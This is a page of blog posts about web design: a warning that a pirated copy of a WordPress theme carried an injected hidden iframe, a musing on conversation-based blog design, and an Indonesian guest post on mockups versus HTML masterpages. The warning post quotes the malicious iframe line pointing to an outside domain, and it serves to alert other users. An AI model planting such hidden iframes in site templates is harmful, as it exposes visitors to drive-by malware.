Fontella theme contains malware, google said

This is what I found in my blog, after installing fontella:

<iframe src="http://ebolka.net/lc344.html" width=2 height=2 style=display:none></iframe>

I check it today using chrome. Chrome told me that my blog contains something unsecure from ebolka.net. A view source explains all.I’ve removed the iframe right away.

So, in case you are using the same theme. Do remove the iframe in header.php.

Update:

Fontella author has confirmed (see comment section) that the original theme has no malware. I must have downloaded this theme somewhere else. So, if you are downloading directly from granimpetu.com, you’ll be safe.

Conversation Based Design

Flickr pages is a conversation based design. This Photo Clip wordpress theme is also a conversation based design. They communicate the pciture. Their design decision engaging a “let’s talk about this picture” activity. Youtube is almost there, but I feel it a bit bloated in UI term.

So, what about blog. I haven’t found any wordpress theme designed based on conversation. Designed to promote conversation. Most of the conversation is still depending on how controversial the title, how hot the image, and who writes it. Design? Design looks dull. Always giving spotlight to what the author write. Ignoring the fact that the real value is the conversation beneath it.

Maybe Friendfeed design is close to what I’m looking for. You can go to a friendfeed room to see the conversation. Plurk also sporting a quite useful UI for bird-viewing and intensive interaction. Hmm, but does it fit blog unique characteristic? Any designer felt challenged on this issue?

Conversation based design is the new magazine style theme. It will be the new black!

So, what would be crucial in conversation based design? Comments deserve more. Commentator deserve more. Articles should be presented together with comments, anywhere, to present conversation. Comment form should be non-hideous. Comment first, identity is second.

Could you identify more?

Guest Blogger: Mockup vs Masterpages

Setelah sekian lama saya berharap, akhirnya Herman Saksono berkenan mengisi blog yang kembali sepi ini. Sebagai seorang pemerhati dan praktisi topik design, usability, etc, kali ini Herman Saksono menuliskan topik tentang Mockup versus Masterpage. Mana yang lebih utama, mana yang efektif? Mari kita simak bersama-sama.

Mas-mas di 37signals pernah bilang betapa tidak efektifnya mendesain UI dengan Photoshop. Maksudnya: tidak efektif kalau dibandingkan dengan mendesain langsung di HTML dan CSS. Saya tergolong orang yang fifty-fifty setuju dan tidak setuju dengan opini tersebut.

Saya, dan teman-teman saya, punya kebiasaan memisahkan proses desain web menjadi dua bagian: bagian mendesain dengan aplikasi raster (biasanya Photoshop), dan mendesain HTML-nya (sekaligus CSS dan JS). Yang pertama disebut mockup; yang kedua disebut masterpage.

Sebuah mockup berupa gambar tampilan aplikasi, sementara masterpage sudah berbentuk HTML lengkap dengan CSS-nya. Dalam kondisi ideal, kami selalu membuat mockup terlebih dahulu. Baru setelah disetujui klien, kami mulai membikin master-page-nya.

Tahap pembuatan mockup sangat cocok untuk merancang palet warna dan bereksperimen tata-letak. Pemilihan tipografi juga terasa lebih kreatif pada tahap ini. Aplikasi semacam Photoshop memang sangat fleksibel. Tidak ada div yang mengkotak-kotakkan ataupun pilihan fonta yang terbatas. Lagipula, memilih warna dengan bilangan heksadesimal semacam #42a070 jelas-jelas tidak asyik.

Permasalahannya, mendesain di Photoshop itu memang terasa bertele-tele bagi orang-orang yang sudah khatam HTML dan CSS. Membuat kotak dengan border 1 piksel jauh lebih cepat kalau dibikin di HTML, daripada di Photoshop. Selain itu, desainer bisa kesusahan kalau disuruh merancang interaction di Photoshop.

Disinilah peran masterpage beraksi. Masterpage yang dibangun atas HTML + CSS + JS memang sangat ringkas untuk diulik. Membuat tata letak yang sederhana jelas lebih cepat kalau dirancang di tahap ini. Apalagi kalau klien minta dibuatin user experience pakai animasi, fade-in, fade-out.

Sayangnya, sekali lagi, model layout ala HTML yang kaku agak membatasi kreativitas desainer untuk menciptakan peletakan yang ‘mendobrak’.

Oleh karena itu, saya rasa tahap mockup dan masterpage memang tidak bisa eksklusif. Keduanya harus dikerjakan berurutan. Perkara mana yang lebih lama, semestinya lebih lama pada tahap masterpage, karena pada tahap inilah user experience mulai disusun.

Selain itu, ada baiknya kedua tahap itu dikerjakan oleh orang yang paham desain dan koding, supaya tidak ada gagasan UX yang terputus ketika mockup masuk ke tahap masterpage.

Herman Saksono is a user-experience lobbyist wannabe who love his cats.